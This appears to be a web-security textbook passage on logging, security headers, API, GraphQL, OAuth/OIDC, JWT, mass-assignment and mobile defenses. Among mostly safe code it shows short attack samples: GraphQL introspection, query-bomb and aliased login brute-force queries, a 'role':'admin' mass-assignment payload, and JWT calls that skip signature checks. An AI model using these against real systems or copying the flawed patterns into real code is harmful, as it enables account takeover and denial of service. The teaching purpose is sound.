Good security logging is structured, sufficient, and safe. Structured (key-value/JSON) so it is machine-parseable for correlation and alerting rather than regex-scraped. Sufficient in that each event carries the context an investigator needs — timestamp, source IP, authenticated identity, action, target, outcome, and a correlation/request ID that ties related entries together across services. Safe in that logs must never themselves leak secrets (passwords, tokens, full card numbers, session IDs) and must be protected from tampering, since erasing or editing logs is a standard attacker move — append-only shipping to a central store/SIEM that survives host compromise is the goal.
Monitoring converts logs into action through detection rules and anomaly analysis correlated across the signals this chapter has surfaced: spikes in 401/403 (access-control probing), 500 bursts (injection fuzzing), many near-identical requests to one parameter (blind extraction, 8.4), WAF blocks, and sudden changes in request rate or geography. Effective programs centralize logs (so you can correlate across tiers and machines), tune alerts to be actionable (low false-positive, routed to someone who responds), and test that detection actually fires. Logging and monitoring is the control that ensures the rest of the chapter's defenses are not just preventive but observable — when something slips through, you see it and respond.
Examples
# Structured security event: machine-parseable, sufficient context, no secrets.
import logging, json
sec = logging.getLogger("security")
def log_event(event, request, outcome, **extra):
sec.info(json.dumps({
"event": event, # e.g. "auth.login"
"ts": now_iso(),
"src_ip": request.remote_addr,
"identity": request.user_id or "anon",
"action": request.path,
"outcome": outcome, # "success" | "denied" | "error"
"req_id": request.id, # correlation id across services
**extra, # NEVER include passwords/tokens/session ids
}))
# Usage: log_event("auth.login", req, "denied", reason="bad_password")
From logs to detection (correlate the chapter's signals):
401/403 spike -> access-control probing / forced browsing
500 spike -> injection fuzzing
many near-identical requests to one param -> blind SQLi extraction
WAF blocks + repeats -> targeted attack
Requirements: structured + centralized + tamper-resistant + tuned, tested alerts.
Key Takeaways
- Log security-relevant events (auth, authz denials, validation failures, errors, admin/high-value actions) for both real-time detection and forensics.
- Make logs structured, sufficient (identity, source, action, target, outcome, correlation ID), and safe (no secrets; tamper-resistant).
- Centralize to a SIEM/log store that survives host compromise so you can correlate across tiers and machines.
- Turn logs into tuned, tested alerts on the chapter's signals (401/403 and 500 spikes, near-identical request floods, WAF blocks).
🧪 Practice
- List the fields a useful security log entry for a failed login should contain, and which it must never contain.
- Explain why centralized, append-only logging matters when an attacker compromises a host.
- Define two alert rules that would detect blind SQL injection and credential stuffing respectively.
- Interview-style: "Why is a correlation/request ID valuable across a microservice architecture?" Hint: one user action spans many services — the ID stitches their separate log entries into one story.
Security Headers Reference
Theory
HTTP response security headers are a set of instructions the server sends to the browser telling it to enforce protections on the client side. They are cheap, powerful defense-in-depth: most are a single line of configuration, and together they close off whole categories of client-side attack. The reason they belong in a server-side chapter is that the server sets them — they are part of hardening the application's responses, even though the browser is what enforces them. The mental model is "the server declaring its security policy to the client."
The essential set: Strict-Transport-Security (HSTS) forces HTTPS for all future visits, defeating SSL-stripping downgrade attacks. Content-Security-Policy (CSP) restricts where scripts, styles, and other resources may load from, which is the strongest mitigation against XSS by preventing inline and untrusted scripts from executing. X-Content-Type-Options: nosniff stops the browser from MIME-sniffing a response into an unintended, dangerous type. X-Frame-Options / CSP frame-ancestors prevent your pages from being framed, defeating clickjacking. Referrer-Policy limits how much URL information leaks in the Referer header. Set-Cookie attributes (Secure, HttpOnly, SameSite) harden the session cookie, as covered earlier.
The practical guidance: set them explicitly and globally, because defaults are permissive and per-route configuration drifts. CSP deserves special attention — it is the most impactful and the hardest to get right, requiring you to enumerate legitimate resource sources and ideally use nonces/hashes for any inline scripts; deploy it in report-only mode first to find breakage before enforcing. These headers do not replace fixing vulnerabilities (a CSP is a mitigation, not a cure for an XSS bug), but they provide a strong second layer and are table-stakes for any production web application. They connect this server-side chapter to the client-side mechanisms detailed in chapter 9.
Examples
HTTP response security headers (set globally, server-side):
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY (or CSP: frame-ancestors 'none')
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax
# Apply headers to every response at the edge (consistent, no per-route drift).
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Roll out CSP in Content-Security-Policy-Report-Only first to catch breakage.
| Header | Attack it mitigates |
|---|---|
| Strict-Transport-Security | HTTPS downgrade / SSL stripping |
| Content-Security-Policy | XSS (blocks untrusted/inline scripts) |
| X-Content-Type-Options | MIME-sniffing to a dangerous type |
| X-Frame-Options / frame-ancestors | Clickjacking |
| Referrer-Policy | URL/info leakage via Referer |
Key Takeaways
- Security headers are server-set instructions the browser enforces; cheap, powerful defense-in-depth that close whole client-side attack classes.
- Core set: HSTS (force HTTPS), CSP (restrict resource sources; strongest XSS mitigation),
nosniff, frame controls (clickjacking),Referrer-Policy, and cookie attributes. - Set them explicitly and globally at the edge; permissive defaults and per-route drift leave gaps.
- CSP is the most impactful and hardest to tune — use nonces/hashes and deploy report-only first; headers mitigate but do not replace fixing the underlying bugs.
🧪 Practice
- List five security headers and the specific attack each one mitigates.
- Explain why CSP is the strongest XSS mitigation and why it is also the hardest to deploy correctly.
- Describe the purpose of deploying CSP in report-only mode before enforcement.
- Interview-style: "If an app already fixes XSS at the source, why still deploy a CSP?" Hint: defense in depth — the CSP contains the damage of any XSS bug you missed or that is introduced later.
<a id="86-api-and-mobile-back-end-security"></a>
8.6 API and Mobile Back-End Security
Most traffic today is API traffic — single-page apps, mobile clients, and service-to-service calls all talk to back-end APIs. This section covers the threat models and auth mechanisms specific to APIs and the mobile clients that consume them.
REST API Threat Model
Theory
A REST API exposes resources over HTTP using methods (GET, POST, PUT, DELETE) and structured data (usually JSON), with no server-rendered UI to hide behind. That last point is the heart of the threat model: with a browser app there is at least a UI implying intended usage, but an API is just the endpoints, and attackers call them directly with full control over every field, header, method, and sequence. Everything the client-side UI "enforced" is merely a suggestion; the API must enforce it all itself. APIs also tend to be numerous, versioned, and rapidly changing, so unmanaged surface (old versions, undocumented endpoints) is common.
The dominant API risks (captured by the OWASP API Security Top 10) are authorization failures at scale. Broken Object-Level Authorization (BOLA/IDOR) is the top API risk — an API returns /orders/{id} based on the ID without checking ownership, exactly the IDOR of 8.2 but even more exposed because APIs hand out object IDs freely. Broken Function-Level Authorization lets a normal user call admin endpoints the UI hid. Excessive data exposure happens when an API returns full objects and relies on the client to display only some fields — the attacker reads the raw JSON and gets everything. Mass assignment (a later topic) lets clients set fields they should not. Add missing rate limits, weak authentication, and SSRF, and you have the API threat landscape.
The defensive posture is "the API is the security boundary, enforce everything server-side, per request, per object." Authenticate every request (no implicit trust from being 'internal'), authorize at both the function and object level on every call, return only the fields the caller is entitled to (explicit output shaping, not client-side filtering), validate input against a schema, rate-limit, and version/inventory the surface so nothing is forgotten. Because there is no UI to constrain behavior, the API must assume every request is crafted by an adversary with your documentation open — which, increasingly, it is.
Examples
Why APIs are exposed: no UI to hide behind.
Browser app: UI only showed your orders -> but the ENDPOINT is callable directly
Attacker: GET /api/orders/1002 (not theirs) -> must be blocked SERVER-SIDE
Top API risks: BOLA(object authz), function authz, excessive data exposure, mass assignment.
# BOLA-safe endpoint: authenticate, then authorize at the OBJECT level, shape output.
@app.get("/api/orders/<int:oid>")
@require_auth
def get_order(oid):
order = db.orders.get(oid)
if order is None or order.user_id != g.user.id: # object-level authorization
abort(404)
return jsonify(public_view(order)) # return ONLY entitled fields
Key Takeaways
- A REST API is the security boundary itself — there is no UI to constrain callers, who control every field, header, method, and sequence.
- The top API risks are authorization failures: broken object-level (BOLA/IDOR) and function-level authorization, plus excessive data exposure and mass assignment.
- Enforce authentication and both function- and object-level authorization on every request, and shape output server-side to entitled fields only.
- Validate input against a schema, rate-limit, and inventory/version the surface so old or undocumented endpoints are not forgotten.
🧪 Practice
- Explain why IDOR/BOLA is even more dangerous in an API than in a traditional server-rendered app.
- Describe "excessive data exposure" and why client-side field filtering does not fix it.
- Write an endpoint that enforces object-level authorization and returns only entitled fields.
- Interview-style: "Your SPA hides the admin buttons from regular users. Why is that not access control?" Hint: the admin endpoints are still directly callable — hiding a button changes nothing server-side.
GraphQL-Specific Risks
Theory
GraphQL replaces many fixed REST endpoints with a single endpoint and a flexible query language: the client specifies exactly which fields and nested relationships it wants, and the server resolves them. This flexibility is the feature and the risk. Because the client composes arbitrary queries, the attack surface is no longer a list of endpoints but the entire type graph, and several REST assumptions (one endpoint = one authorization check, fixed response shape) no longer hold. The threat model shifts from "which endpoints exist" to "what can be reached by composing this schema."
GraphQL has distinctive risks. Introspection lets clients query the schema itself, handing attackers a complete map of types, fields, and operations unless disabled or restricted in production. Authorization must be enforced per field/resolver, not per endpoint — a single query can traverse from an object you may see into a nested object you may not, so a naive implementation that checks auth only at the top level leaks data through relationships. Nested/recursive queries enable denial of service: a deeply nested or cyclic query can force the server to resolve an exponential amount of data (a "query bomb"), so you need depth/complexity limits and timeouts. Batching and aliases can be abused to bypass rate limits (many operations in one request) or to brute-force (hundreds of aliased login attempts in a single query).
Defending GraphQL means applying familiar principles to its specific shape. Disable or lock down introspection in production; enforce authorization in resolvers at the object/field level so traversal cannot leak data; limit query depth, complexity, and cost and set execution timeouts to stop query bombs; rate-limit by operation/cost, not just by request count, to defeat batching abuse; and validate inputs in resolvers just as you would REST parameters (injection sinks are the same underneath). GraphQL does not remove any class of web vulnerability — it reorganizes the surface, so the same discipline (authorize per object, limit resource use, validate input) must be re-applied in GraphQL-aware ways.
Examples
# Introspection: asks the server to describe its own schema (disable in prod).
query { __schema { types { name fields { name } } } }
# Query bomb: deep nesting forces exponential resolution (needs depth/complexity limits).
query { user { friends { friends { friends { friends { name } } } } } }
# Alias abuse: many operations in ONE request to dodge per-request rate limits.
query { a: login(u:"x" p:"1") b: login(u:"x" p:"2") c: login(u:"x" p:"3") }
// Authorization belongs in the RESOLVER, per object/field (not just at the endpoint).
const resolvers = {
Query: {
order: (_, { id }, ctx) => {
const o = db.orders.get(id);
if (!o || o.userId !== ctx.user.id) throw new ForbiddenError("no access"); // object-level
return o;
},
},
};
// Also: disable introspection in prod, add depth/complexity limits + timeouts.
Key Takeaways
- GraphQL exposes a flexible query language over one endpoint, shifting the attack surface from a list of endpoints to the whole type graph.
- Introspection maps the schema for attackers; disable or restrict it in production.
- Authorization must be enforced per resolver/field/object, because one query can traverse relationships into data the caller may not access.
- Limit query depth/complexity/cost with timeouts to stop query bombs, and rate-limit by cost to defeat batching/alias abuse; input validation still applies in resolvers.
🧪 Practice
- Explain why top-level-only authorization is insufficient in GraphQL and where the check must live.
- Describe a GraphQL query bomb and the controls that prevent it.
- Show how aliasing or batching can bypass naive per-request rate limiting.
- Interview-style: "Why is leaving introspection enabled in production risky even if authorization is correct?" Hint: it hands attackers a complete, free map of your entire API to probe.
API Authentication and Key Management
Theory
APIs must identify their callers, and the mechanism depends on who the caller is. For service-to-service or developer access, the common credential is an API key — a long random token the client sends with each request. API keys are simple but blunt: they identify an application, not a user; they are long-lived bearer tokens (whoever has the key is the client); and they do not inherently carry scopes or expiry. That makes key management the real security work: generating keys with sufficient entropy, scoping them to least privilege, storing them securely on both ends, rotating them, and revoking them promptly when leaked.
The central danger with keys (and bearer tokens generally) is leakage, because a bearer token grants access to anyone who holds it, no questions asked. Keys leak through the same channels as secrets (8.5): committed to repos, embedded in mobile apps or front-end JavaScript (where they are trivially extracted), logged, or sent in URLs. The mitigations follow: never embed a secret key in a client the user controls (a mobile app or SPA cannot keep a secret — use a user-auth flow instead), send keys in headers not URLs, scope each key narrowly so a leak is contained, set expiry and rotation, and monitor usage so anomalous use of a key is detected.
For user-facing authentication, APIs generally move beyond raw keys to token-based auth built on OAuth 2.0 / OpenID Connect (next topics) with short-lived access tokens, or to signed request schemes (like AWS SigV4) that prove possession of a secret without sending it, resisting replay. The selection principle: match the mechanism to the trust of the client and the sensitivity of the operation — long-lived keys for trusted back-end services with good secret storage; short-lived, scoped, user-delegated tokens for anything touching a client the user controls. Across all of them, treat credentials as leak-prone by default and design for containment and rotation.
Examples
Credential types and where they fit:
API key (long-lived bearer) -> trusted service-to-service; scope + rotate + header-only
OAuth access token (short) -> user-delegated access from clients (SPA/mobile)
Signed request (e.g. SigV4) -> proves secret possession WITHOUT sending it (anti-replay)
Golden rule: a client the USER controls cannot keep a secret -> no embedded secret keys.
# Send API keys in a header, never in the URL (URLs leak via logs, Referer, history).
GET /api/v1/report HTTP/1.1
Host: api.example
Authorization: Bearer sk_live_9f8a...e1 # header, over TLS
# BAD: GET /api/v1/report?api_key=sk_live_9f8a...e1 (logged everywhere)
Key Takeaways
- API keys are long-lived bearer tokens that identify an application; their security rests on key management — entropy, scoping, storage, rotation, revocation.
- Bearer tokens grant access to anyone holding them, so leakage is the central risk; never embed secret keys in user-controlled clients (mobile/SPA).
- Send credentials in headers, not URLs; scope each key to least privilege; set expiry/rotation and monitor for anomalous use.
- For user-facing auth, prefer short-lived OAuth/OIDC tokens or signed-request schemes that resist replay; match the mechanism to client trust.
🧪 Practice
- Explain why an API key embedded in a mobile app cannot be considered secret.
- List four ways API keys leak and the mitigation for each.
- Contrast a long-lived API key with a short-lived OAuth access token for a browser SPA.
- Interview-style: "Why is a signed-request scheme (like SigV4) more replay-resistant than sending a bearer token?" Hint: one proves you hold the secret per request without transmitting it; the other transmits the thing that grants access.
OAuth 2.0 Grant Types and Misuse
Theory
OAuth 2.0 is a delegated authorization framework: it lets a user grant a third-party application limited access to their resources on another service without sharing their password. The classic example is "Sign in with Google" or "let this app read your calendar" — the app receives a scoped access token, not your credentials. The key conceptual point, and a frequent source of bugs, is that OAuth is about authorization (what an app may do on your behalf), not authentication (proving who you are); using a raw OAuth access token as proof of identity is a well-known mistake that OpenID Connect (next topic) exists to fix.
OAuth defines several grant types (flows) for different client types. The Authorization Code grant (with PKCE) is the modern default for web and mobile apps: the app gets a short-lived code via a browser redirect, then exchanges it server-side (or with PKCE, securely from a public client) for tokens — so tokens never pass through the browser URL. The Client Credentials grant is for machine-to-machine access with no user. Legacy flows — Implicit (tokens returned directly in the redirect URL) and Resource Owner Password Credentials (the app handles the user's password) — are now discouraged because they expose tokens or credentials unnecessarily. Choosing the right grant is the first security decision.
OAuth is powerful but easy to misconfigure, and the misuses are well catalogued. redirect_uri manipulation: if the authorization server allows loose matching, an attacker redirects the code/token to their own site — so redirect URIs must be exact-match allowlisted. Missing state parameter: state is a CSRF token for the flow; omitting or not validating it enables login-CSRF and code injection. Token leakage via the Implicit grant's URL fragment, via Referer, or via overly broad scopes. Confused-deputy and token-substitution attacks when a service accepts a token issued for a different client/audience. The defenses are specific: use Authorization Code + PKCE, exact-match redirect URIs, mandatory state validation, least-privilege scopes, short token lifetimes, and strict audience/issuer validation on every token.
Examples
Authorization Code + PKCE (the modern default), simplified:
1. app -> authz server: /authorize?client_id&redirect_uri&scope&state&code_challenge
2. user consents; authz server -> redirect_uri?code=...&state=... (state echoed back)
3. app verifies state, then exchanges code (+ code_verifier) for tokens SERVER-SIDE
4. app uses the short-lived access token (scoped) to call the resource API
Tokens never ride in the browser URL (unlike the deprecated Implicit grant).
Grant type selection + the classic misuses:
web/mobile app -> Authorization Code + PKCE (NOT Implicit)
machine-to-machine -> Client Credentials
avoid -> Implicit (token in URL), Password grant (app sees password)
Misuses: loose redirect_uri, missing/unvalidated state, broad scopes, wrong audience.
Key Takeaways
- OAuth 2.0 is delegated authorization — scoped access on a user's behalf without sharing credentials — and is not an authentication protocol by itself.
- Use the Authorization Code grant with PKCE for web/mobile and Client Credentials for machine-to-machine; avoid Implicit and Password grants.
- Core misuses: loose
redirect_urimatching, missing/unvalidatedstate(CSRF), token leakage via URLs, and overly broad scopes. - Defenses: exact-match redirect URIs, mandatory
statevalidation, least-privilege scopes, short token lifetimes, and strict audience/issuer checks.
🧪 Practice
- Explain the difference between authentication and authorization and why OAuth alone is the latter.
- Describe the Authorization Code + PKCE flow and what PKCE protects against.
- Explain the role of the
stateparameter and the attack enabled by omitting it.- Interview-style: "Why is a loosely matched
redirect_uria critical OAuth flaw?" Hint: the authorization code or token is delivered to that URI — if an attacker can influence it, they receive the grant.
OpenID Connect and ID Tokens
Theory
OAuth proves an app may act on your behalf, but not who you are. OpenID Connect (OIDC) is a thin identity layer built on top of OAuth 2.0 that adds proper authentication: alongside the OAuth access token, the identity provider issues an ID token — a signed JWT containing claims about the authenticated user (a stable subject identifier sub, issuer iss, audience aud, issue/expiry times, and often email/name). OIDC exists precisely because developers kept misusing OAuth access tokens as login proof; the ID token is the correct, verifiable "this user authenticated" artifact.
The ID token's value depends entirely on validating it correctly, and the validation steps are non-negotiable. Verify the signature against the provider's published keys (so the token is genuinely from the issuer); check iss matches the expected issuer; check aud matches your client ID (so a token minted for another app cannot be replayed at yours — the token-substitution attack); check exp (not expired) and iat/nbf; and verify the nonce you sent in the request is echoed, binding the token to this login and preventing replay. Skipping any of these — especially audience and signature — is how "we support Sign-in with X" turns into an authentication bypass.
A critical distinction for using OIDC safely: the ID token is for your application to establish who logged in; the access token is for calling APIs. Do not send ID tokens to resource APIs as access tokens, and do not use access tokens to establish identity. Also prefer validating ID tokens at your server, treat the sub claim (not email, which can change or be unverified) as the stable user key, and understand the flows (OIDC uses the same Authorization Code + PKCE flow, requesting the openid scope). OIDC done right gives you standards-based, federated login; done carelessly, its token validation gaps are a direct path to impersonation.
Examples
OAuth vs OIDC — which token answers which question:
access token (OAuth) -> "what may this app DO?" (send to resource APIs)
id token (OIDC) -> "WHO logged in?" (consume at YOUR app)
Requesting OIDC: same Authz Code + PKCE flow, add scope=openid (+ profile/email)
# ID token validation: EVERY check matters (skipping aud/signature = auth bypass).
import jwt # PyJWT
claims = jwt.decode(
id_token,
key=provider_public_key, # verify SIGNATURE against provider's JWKS
algorithms=["RS256"], # pin expected algorithm (see JWT pitfalls)
audience=MY_CLIENT_ID, # aud MUST equal our client id
issuer=EXPECTED_ISSUER, # iss MUST be the expected provider
) # library also checks exp/iat
assert claims["nonce"] == sent_nonce # bind to THIS login (replay protection)
user_key = claims["sub"] # stable id; prefer over mutable email
Key Takeaways
- OIDC adds authentication to OAuth via a signed ID token (a JWT of user claims); it exists because OAuth access tokens are not identity proof.
- Validate the ID token fully: signature,
iss,aud(your client id),exp/iat/nbf, and thenonce— skippingaudor signature enables impersonation. - Use the ID token to establish who logged in at your app, and the access token to call APIs; do not interchange them.
- Key users by the stable
subclaim rather than mutable/unverified email, using the Authorization Code + PKCE flow with theopenidscope.
🧪 Practice
- Explain why OAuth needed OIDC on top of it, in terms of authentication vs authorization.
- List every validation check an ID token requires and the attack each one prevents.
- Explain why the
audclaim must equal your client ID and what happens if you ignore it.- Interview-style: "An app logs users in by accepting any valid Google ID token. What is the flaw?" Hint: valid for whom? A token minted for a different app passes signature checks but has the wrong
aud.
JSON Web Tokens: Structure and Validation Pitfalls
Theory
A JSON Web Token (JWT) is a compact, self-contained token format: three base64url-encoded parts — a header (algorithm and type), a payload (claims like sub, exp, custom data), and a signature — joined by dots. The appeal is statelessness: because the token carries its claims and is signed, a server can verify and trust it without a database lookup, which is why JWTs underpin OIDC ID tokens, many API access tokens, and stateless sessions. The crucial thing to internalize is that a JWT is signed, not encrypted by default — anyone can read the payload (it is just base64), so you must never put secrets in it, and its security rests entirely on signature verification.
JWTs are notorious for validation pitfalls, each a real-world vulnerability class. The alg: none attack: if a library honors a header claiming "no signature," an attacker strips the signature and forges any claims — so you must reject none and never let the token dictate whether verification happens. The algorithm-confusion (RS256→HS256) attack: if the server verifies with a key-type-agnostic call, an attacker changes the algorithm from asymmetric RS256 to symmetric HS256 and signs with the public key (which they have) as the HMAC secret — so you must pin the expected algorithm server-side rather than trusting the header. Other pitfalls: not checking exp (tokens live forever), not checking aud/iss (token substitution across services), weak HMAC secrets (brute-forceable), and treating an unverified decode as if it were verified.
The safe pattern is explicit and strict: verify the signature with a server-chosen algorithm and key, then validate every standard claim (exp, nbf, iss, aud) before trusting anything in the payload. Because revocation is hard for stateless tokens (you cannot delete what you did not store), keep access tokens short-lived and pair them with a refresh mechanism and, where needed, a server-side denylist for emergency revocation — the trade-off first noted in 8.1. Use well-maintained libraries, configure them to pin algorithms and require claims, and never hand-roll JWT verification. Handled strictly, JWTs are a solid stateless credential; handled loosely, their validation gaps are among the most reliably exploitable bugs in modern APIs.
Examples
JWT structure: header . payload . signature (base64url, dot-separated)
header : {"alg":"RS256","typ":"JWT"}
payload: {"sub":"u123","aud":"my-api","exp":1735689600} <- readable! not secret
signature: signs header+payload with the key <- the ONLY thing that provides trust
# SAFE: pin the algorithm and key server-side; require and validate claims.
import jwt
claims = jwt.decode(
token, key=PUBLIC_KEY,
algorithms=["RS256"], # PIN it -> blocks alg:none and RS256->HS256 confusion
audience="my-api", issuer=ISSUER, # token substitution protection
options={"require": ["exp", "aud", "iss"]}, # reject tokens missing these
)
# DANGEROUS anti-patterns:
# jwt.decode(token, options={"verify_signature": False}) # trusts forged claims
# algorithms=["RS256","HS256"] with a key-agnostic verify # algorithm confusion
Key Takeaways
- A JWT is header.payload.signature (base64url); it is signed, not encrypted, so the payload is readable — never store secrets in it.
- All security rests on signature verification; pin the expected algorithm server-side to defeat
alg:noneand RS256→HS256 confusion. - Always validate
exp,nbf,iss, andaud; skipping them yields forever-tokens and cross-service token substitution. - Revocation is hard for stateless tokens — keep them short-lived with refresh tokens and an emergency denylist; use vetted libraries, never hand-rolled verification.
🧪 Practice
- Decode (without verifying) a sample JWT's header and payload and explain why readability means no secrets belong inside.
- Explain the
alg:noneand RS256→HS256 confusion attacks and the single configuration that stops both.- List the standard claims you must validate and the attack each check prevents.
- Interview-style: "Why is logging a user out hard with JWT sessions, and what are two mitigations?" Hint: nothing is stored server-side to delete — bound lifetime plus a denylist are the usual answers.
Mass Assignment and Excessive Data Exposure
Theory
These two API bugs are mirror images — one on input, one on output — and both come from frameworks that map between request/response JSON and internal objects automatically and completely. Mass assignment (over-posting / autobinding) happens on input: a framework binds every field in the incoming JSON directly onto a model, so if the client adds a field the developer did not intend to be settable — "role": "admin", "isVerified": true, "balance": 999999 — it is silently assigned. The convenience of "bind the whole object" becomes a privilege-escalation hole whenever the object has sensitive fields the user should not control.
Excessive data exposure is the output counterpart: an API serializes a full internal object to JSON and returns it, trusting the client to display only the appropriate fields. But the attacker reads the raw response, so every field is exposed — password hashes, internal flags, other-user data joined in, PII the UI never showed. As with mass assignment, the root cause is treating the automatic, complete mapping as safe; the API returns more than the caller is entitled to, and client-side rendering choices provide zero protection because the data already crossed the boundary.
The fix for both is the same principle: explicitly define what crosses the boundary in each direction, by allowlist. On input, bind only an allowlisted set of client-settable fields (or use a dedicated input DTO/schema that contains only those fields), so unexpected fields are ignored, not assigned. On output, serialize through an explicit view/DTO/serializer that lists exactly the fields this caller may see, so adding a sensitive field to the model does not automatically leak it. Never let the wire format be a direct, complete reflection of the internal model; the boundary is a place for deliberate, minimal mapping, which also makes the code's intent (and its security) auditable.
Examples
# MASS ASSIGNMENT (input): binds EVERY field -> client can set role/isAdmin.
def update_user(req):
user.update(**req.json) # {"name":"x","role":"admin"} -> privilege escalation
# FIXED: allowlist the client-settable fields only.
ALLOWED_IN = {"name", "email", "bio"}
def update_user(req):
data = {k: v for k, v in req.json.items() if k in ALLOWED_IN} # ignore the rest
user.update(**data)
# EXCESSIVE DATA EXPOSURE (output): dumps the whole object.
return jsonify(user.__dict__) # leaks password_hash, is_admin, internal flags
# FIXED: serialize through an explicit output view.
def public_view(u):
return {"id": u.id, "name": u.name, "bio": u.bio} # ONLY entitled fields
return jsonify(public_view(user))
Two sides of the same mistake (automatic, complete model<->JSON mapping):
INPUT : bind whole JSON -> client sets fields it shouldn't = mass assignment
OUTPUT : dump whole object -> client reads fields it shouldn't = excessive exposure
Fix both with explicit ALLOWLISTS / DTOs at the boundary, each direction.
Key Takeaways
- Mass assignment binds unexpected client fields onto internal models (e.g.,
role: admin), causing privilege escalation and tampering. - Excessive data exposure returns full internal objects, leaking sensitive fields because client-side rendering does not protect data already sent.
- Both stem from automatic, complete model↔JSON mapping treated as safe in either direction.
- Fix with explicit allowlists/DTOs at the boundary — bind only client-settable fields on input, serialize only entitled fields on output.
🧪 Practice
- Show how a mass-assignment bug lets a user set their own
role, and fix it with an input allowlist.- Explain why returning a full user object is unsafe even if the UI only renders the name.
- Describe how input and output DTOs make the trust boundary explicit and auditable.
- Interview-style: "A user escalated to admin by adding one field to a profile-update request. What bug is this and what is the minimal fix?" Hint: the framework bound a field it should not have — allowlist the settable fields.
Mobile App Storage and Transport Security
Theory
A mobile app is a client running on a device the user (and any attacker who controls the device) fully owns, which upends a key assumption: nothing shipped in the app and nothing stored on the device is secret from a determined attacker. They can decompile the app, inspect its storage, hook its runtime, and intercept its traffic. So the back-end must treat the mobile client exactly like any other untrusted HTTP client — all the API security in this subchapter applies — while the client-side work is about not storing secrets insecurely and protecting data in transit.
Storage: sensitive data at rest (tokens, credentials, personal data) must use the platform's protected key stores — the iOS Keychain and Android Keystore — which are hardware-backed where available and tie data to the device and app, rather than plain files, SharedPreferences/UserDefaults, SQLite, or logs, all of which are readable on a rooted/jailbroken device or via backups. The recurring failure is embedding API keys or secrets in the app binary (extractable in minutes) or caching sensitive data in world-readable locations. The rule from 8.6 restated: a user-controlled client cannot keep a secret, so minimize what is stored, protect what must be, and prefer short-lived, revocable tokens over long-lived credentials.
Transport: all communication must use TLS, and because attackers on hostile networks can present fraudulent certificates (or install their own CA on a compromised device), high-security apps add certificate pinning — the app verifies the server's certificate/public key against a known, pinned value, so a rogue CA-issued cert is rejected. Pinning defeats casual man-in-the-middle interception (including attackers using proxy tools) but must be paired with a rotation plan so legitimate certificate changes do not brick the app. Round it out with the platform transport-security settings (iOS App Transport Security, Android network-security-config) that forbid plaintext HTTP, and remember that none of this replaces server-side enforcement — a pinned, encrypted channel to an API with broken object authorization is still broken.
Examples
Mobile trust model: the DEVICE is attacker-controllable.
decompile app -> embedded secrets/keys extracted -> store nothing secret in the binary
inspect storage -> plain files/prefs readable (rooted) -> use Keychain / Keystore
intercept traffic -> MITM with rogue cert -> TLS + certificate pinning
back end: treat the app as ANY untrusted client -> all 8.6 API controls still apply
Storage: decision guide
tokens / credentials / PII -> iOS Keychain / Android Keystore (hardware-backed)
NEVER: hardcoded in binary, SharedPreferences/UserDefaults plaintext, logs, backups
Transport:
always TLS (ATS / network-security-config forbid cleartext)
high-security: certificate/public-key pinning (+ a rotation plan to avoid bricking)
Key Takeaways
- A mobile app runs on an attacker-controllable device; nothing in the binary or on disk is secret, so the back end must treat it as any untrusted client.
- Store sensitive data at rest in the iOS Keychain / Android Keystore, never in the binary, plaintext preferences, logs, or backups.
- Use TLS for all traffic and add certificate pinning (with a rotation plan) to resist man-in-the-middle via rogue CAs; forbid cleartext via platform transport settings.
- Client hardening complements but never replaces server-side API security — object/function authorization, validation, and token hygiene still carry the load.
🧪 Practice
- Explain why embedding an API secret in a mobile app binary is ineffective and what to do instead.
- Describe where sensitive data should be stored on iOS and Android and why plain preferences are unsafe.
- Explain what certificate pinning defends against and the operational risk it introduces.
- Interview-style: "A mobile app pins certificates and uses the Keystore, yet an attacker reads other users' data. Where is the bug most likely?" Hint: client hardening does nothing for server-side object authorization — look at BOLA/IDOR in the API.
<a id="9-web-security-client-side"></a>